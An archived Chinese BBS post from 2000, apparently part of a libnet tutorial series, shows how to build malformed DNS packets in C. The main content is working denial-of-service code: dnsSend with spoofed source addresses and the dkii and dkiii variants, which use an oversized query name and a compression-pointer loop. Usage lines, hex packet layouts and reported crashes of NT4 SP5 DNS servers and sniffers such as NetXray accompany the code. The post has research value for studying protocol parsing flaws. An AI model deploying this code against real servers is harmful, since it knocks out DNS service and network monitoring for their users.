📄 533.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="534.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>
标 题: libnet使用举例(8) <br>
发信站: 武汉白云黄鹤站 (Wed Aug 16 11:21:45 2000), 站内信件 <br>
作者:小四 < mailto: scz@nsfocus.com > <br>
主页:http://www.nsfocus.com <br>
日期:2000-08-02 11:33 <br>
呼呼,又到了领略C语言编程魅力的时刻,看如下函数原型: <br>
int libnet_build_dns ( u_short id, u_short flags, u_short num_q, <br>
u_short num_anws_rr, u_short num_auth_rr, <br>
u_short num_addi_rr, const u_char * payload, <br>
int payload_s, u_char * buf ); <br>
该函数用于构造DNS报文。其各个形参的含义不是libnet manual所能解释清楚的,好 <br>
在第(7)篇给出了非常详细的解释,自行参看。flags和接下来的四个number均采用所 <br>
见即所得的方式指定,不要做任何转换,比如期望在NetXray中看到flags域为0x8000, <br>
<br>
这里就直接指定0x8000,number也一样。 <br>
/usr/include/libnet/libnet-headers.h中如下宏定义: <br>
#define LIBNET_DNS_H 0xc /* DNS header base: 12 bytes */ <br>
先不干正经事情,来一个很简单的异常DNS应答分组,据说这个格式的应答分组会对 <br>
NT的DNS SERVER造成DoS攻击,可我没有成功,不清楚是什么年代的事情了。 <br>
命令行指定目标IP地址,源IP如果不指定采用随机数,再就是DNS应答分组个数。 <br>
-------------------------------------------------------------------------- <br>
void dnsSend ( u_long srcIp, u_long dstIp, u_long dnsNumber ) <br>
{ <br>
u_long d; <br>
/* 构造IP头 */ <br>
libnet_build_ip( LIBNET_UDP_H + LIBNET_DNS_H, /* IP数据区长度 */ <br>
IPTOS_LOWDELAY, /* IP tos */ <br>
( u_short )random(), /* IP ID */ <br>
0, /* frag stuff */ <br>
255, /* TTL */ <br>
IPPROTO_UDP, /* 上层协议 */ <br>
srcIp, /* big-endian序 */ <br>
dstIp, /* 目标IP */ <br>
NULL, /* 无选项 */ <br>
0, /* 选项长度零 */ <br>
packet ); /* 指向IP头 */ <br>
/* 构造UDP头 */ <br>
libnet_build_udp( 53, /* 源端口 <br>
*/ <br>
53, /* 目标端口 <br>
*/ <br>
packet + LIBNET_IP_H + LIBNET_UDP_H, /* payload <br>
*/ <br>
LIBNET_DNS_H, /* payload lengt <br>
h */ <br>
packet + LIBNET_IP_H ); <br>
/* 构造异常DNS应答分组头 */ <br>
libnet_build_dns( 0, 0x8000, 0, 0, 0, 0, NULL, 0, <br>
packet + LIBNET_IP_H + LIBNET_UDP_H ); <br>
/* 计算UDP校验和,IP校验和由内核亲自计算 */ <br>
Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + LIBNET_DNS_H ); <br>
for ( d = 0; d < dnsNumber; d++ ) <br>
{ <br>
/* 发送DNS报文 */ <br>
Libnet_write_ip( rawSocket, packet, packet_size ); <br>
} /* end of for */ <br>
return; <br>
} /* end of dnsSend */ <br>
-------------------------------------------------------------------------- <br>
Usage: ./dki [--si srcIp] [--di dstIp] [--num dnsNumber] <br>
这个DoS没有在广域网上测试过,不知道单包能打瘫何种版本的NT DNS SERVER,局域 <br>
网内多包倒是可以冻僵目标主机。测试效果如下: <br>
1) 10.60是NT4 Dns,被彻底冻僵,但不影响从8.90 ping 10.60,也不影响IIS提供 <br>
服务。 <br>
2) 0.2是Linux Dns,被彻底冻僵,从8.90无法ping通0.2,telnet 192.168.0.2 53 <br>
失败,真够讽刺。 <br>
这个所谓的异常DNS应答分组格式如下: <br>
00 00 00 11 11 11 00 10 14 ff ff ff 08 00 <br>
45 10 00 28 6e 17 00 00 ff 11 bb 98 c0 a8 08 5a c0 a8 08 5a <br>
00 35 00 35 00 14 ed 56 <br>
00 00 80 00 00 00 00 00 00 00 00 00 <br>
最后一行一眼就可以看出问题所在,问题数、回答数统统为零,而flags指明这是一 <br>
个正向解析的响应分组,可能吗,不可能!但对于某些DNS实现,它不属于错误报文, <br>
试图解释它的时候玩完了。 <br>
关于DNS可以想象到的DoS实在太多,举个例子,DNS请求分组正常情况下是不会出现 <br>
压缩格式的,事实上我也不确认出现了压缩格式,各个系统对此如何反应;就各种协 <br>
议分析软件的实现来说,它们会解析以压缩格式出现的DNS请求分组,并没有报错。 <br>
机会就是这样开始的,如果让指针开始循环,NetXray在试图decode这个报文的时候 <br>
终止掉了,Sniffer Pro 2.6及其以后版本防了这手,虽然也解析压缩格式,也造成 <br>
无限循环,但做了边界判断,没有造成本身进程终止。不再一一测试其他系统下的 <br>
sniffer。 <br>
为什么要在请求分组中制造这个循环,而不是响应分组呢?因为响应分组的id可能被 <br>
判断,进而被丢弃,虽然响应分组中的压缩格式一定会被解析。我只能赌各个系统的 <br>
DNS实现在处理问题单元和答案单元的时候调用的是同一个函数,并且没有区分当前 <br>
在解析哪个单元,如果我赌对了,那这个DNS实现就死定了。注意,对抗sniffer的时 <br>
候,由于id不会被判断,也就无所谓请求分组响应分组了。 <br>
此外,非压缩格式有什么长度限制吗?如果没有,可以无限扩大,因为结束标志不过 <br>
是长度域为00。 <br>
是长度域为00。 <br>
写了另外两个测试程序来做上述边界测试,本意是对付DNS SERVER,想不到捎带对付 <br>
sniffer。 <br>
-------------------------------------------------------------------------- <br>
... ... <br>
dnsDataSize = 13 + MAXIPLUSONE * junkNumber; <br>
packet_size += dnsDataSize; <br>
fprintf( stderr, "[ Dns killing ... ... ]\n" ); <br>
/* 分配内存并初始化成零 */ <br>
Libnet_init_packet( packet_size, &packet ); <br>
/* 在这里构造DNS报文的部分数据 */ <br>
dnsData = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; <br>
dnsData[0] = 0x03; /* www */ <br>
dnsData[1] = 0x77; <br>
dnsData[2] = 0x77; <br>
dnsData[3] = 0x77; <br>
dnsDataIndex = 4; <br>
for ( j = 0; j < junkNumber; j++ ) <br>
{ <br>
dnsData[ dnsDataIndex++ ] = MAXI; <br>
for ( i = 0; i < MAXI; i++ ) <br>
{ <br>
dnsData[ dnsDataIndex++ ] = JUNKCHAR; <br>
} <br>
} /* end of for */ <br>
dnsData[ dnsDataIndex++ ] = 0x03; /* com */ <br>
dnsData[ dnsDataIndex++ ] = 0x63; <br>
dnsData[ dnsDataIndex++ ] = 0x6f; <br>
dnsData[ dnsDataIndex++ ] = 0x6d; <br>
dnsData[ dnsDataIndex++ ] = 0x00; /* 结束标志 */ <br>
dnsData[ dnsDataIndex++ ] = 0x00; <br>
dnsData[ dnsDataIndex++ ] = 0x01; <br>
dnsData[ dnsDataIndex++ ] = 0x00; <br>
dnsData[ dnsDataIndex ] = 0x01; <br>
/* 创建raw_socket */ <br>
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
dnsSend( srcIp, dstIp, dnsNumber ); <br>
/* 关闭raw_socket */ <br>
libnet_close_raw_sock( rawSocket ); <br>
/* 释放由libnet_init_packet()分配的内存 */ <br>
libnet_destroy_packet( &packet ); <br>
... ... <br>
-------------------------------------------------------------------------- <br>
Usage: ./dkii [--si srcIp] [--di dstIp] [--num dnsNumber] <br>
[--junk junkNumber] <br>
测试过程中发现,不用介入指针制造无限循环,只要查询报文非压缩格式异常扩大就 <br>
足以导致NetXray解析(decode)时终止自身进程。比如--junk 4的时候,8.90上启动 <br>
NetXray,在decode的时候NetXray被迫终止。Sniffer Pro对抗异常DNS报文远比 <br>
NetXray稳定。LanExplore 3.5在试图解析这种报文的时候异常终止。 <br>
dkii所发送的异常DNS请求分组类似于下面的描述,所谓junkNumber就是指定以 <br>
3f 61 ... 61为单位的个数。 <br>
-------------------------------------------------------------------------- <br>
42 83 id 标识符,随机化 <br>
01 00 param 参数 正向解析请求报文,允许递归解析 <br>
00 01 qtcount 问题数 <br>
00 00 ancount 回答数 <br>
00 00 aucount 管理机构数 <br>
00 00 adcount 其他信息数 <br>
03 77 77 77 www,长度域为3 <br>
3F 61 ... 61 长度域为63 <br>
3F 61 ... 61 长度域为63 <br>
... ... <br>
3F 61 ... 61 长度域为63 <br>
03 63 6f 6d com,长度域为3 <br>
00 结束 <br>
00 01 type = A记录 <br>
00 01 class = IN -- the ARPA internet <br>
-------------------------------------------------------------------------- <br>
-------------------------------------------------------------------------- <br>
... ... <br>
dnsDataSize = 15; <br>
packet_size += dnsDataSize; <br>
fprintf( stderr, "[ Dns killing ... ... ]\n" ); <br>
/* 分配内存并初始化成零 */ <br>
Libnet_init_packet( packet_size, &packet ); <br>
/* 在这里构造DNS报文的部分数据 */ <br>
dnsData = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; <br>
dnsData[0] = 0x03; /* www */ <br>
dnsData[1] = 0x77; <br>
dnsData[2] = 0x77; <br>
dnsData[3] = 0x77; <br>
dnsData[4] = 0xc0; /* 指针 = 12 ,实际指向www */ <br>
dnsData[5] = 0x0c; <br>
dnsData[6] = 0x03; /* com */ <br>
dnsData[7] = 0x63; <br>
dnsData[8] = 0x6f; <br>
dnsData[9] = 0x6d; <br>
dnsData[10] = 0x00; /* 结束标志 */ <br>
dnsData[11] = 0x00; <br>
dnsData[12] = 0x01; <br>
dnsData[13] = 0x00; <br>
dnsData[14] = 0x01; <br>
/* 创建raw_socket */ <br>
... ... <br>
-------------------------------------------------------------------------- <br>
Usage: ./dkiii [--si srcIp] [--di dstIp] [--num dnsNumber] <br>
dkiii所发送的异常DNS请求分组类似于下面的描述,制造了一个解析循环,NetXray <br>
终止,LanExplore 3.5在试图解析该类报文的时候异常终止。 <br>
-------------------------------------------------------------------------- <br>
42 83 id 标识符,随机化 <br>
01 00 param 参数 正向解析请求报文,允许递归解析 <br>
00 01 qtcount 问题数 <br>
00 00 ancount 回答数 <br>
00 00 aucount 管理机构数 <br>
00 00 adcount 其他信息数 <br>
03 77 77 77 www,长度域为3 <br>
c0 0c 指针 = 12 不该出现指针的地方出现指针,解析循环 <br>
03 63 6f 6d com,长度域为3 <br>
00 结束 <br>
00 01 type = A记录 <br>
00 01 class = IN -- the ARPA internet <br>
-------------------------------------------------------------------------- <br>
ADAM配合做如下测试: <br>
操作./dkii --si 192.168.10.60 --di 192.168.10.60 --num 5 --junk 4导致 <br>
NT4 SP5 DNS Server崩溃。 <br>
操作./dkiii --si 192.168.10.60 --di 192.168.10.60 --num 5同样导致 <br>
NT4 SP5 DNS Server崩溃。 <br>
上述操作要求源IP和目标IP一致,可以精确重现,其中dkiii发作速度快,dkii攻击 <br>
后要稍微等待一下才可以看到效果。net start dns可以恢复。 <br>
对SP6已经无效。现在网络结构中处处对源IP等于目标IP的情况进行过滤,很难从广 <br>
域网上发起攻击。关于DNS的DoS告一段落。 <br>
<待续> <br>
-- <br>
也许有一天,他再从海上蓬蓬的雨点中升起, <br>
飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="534.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -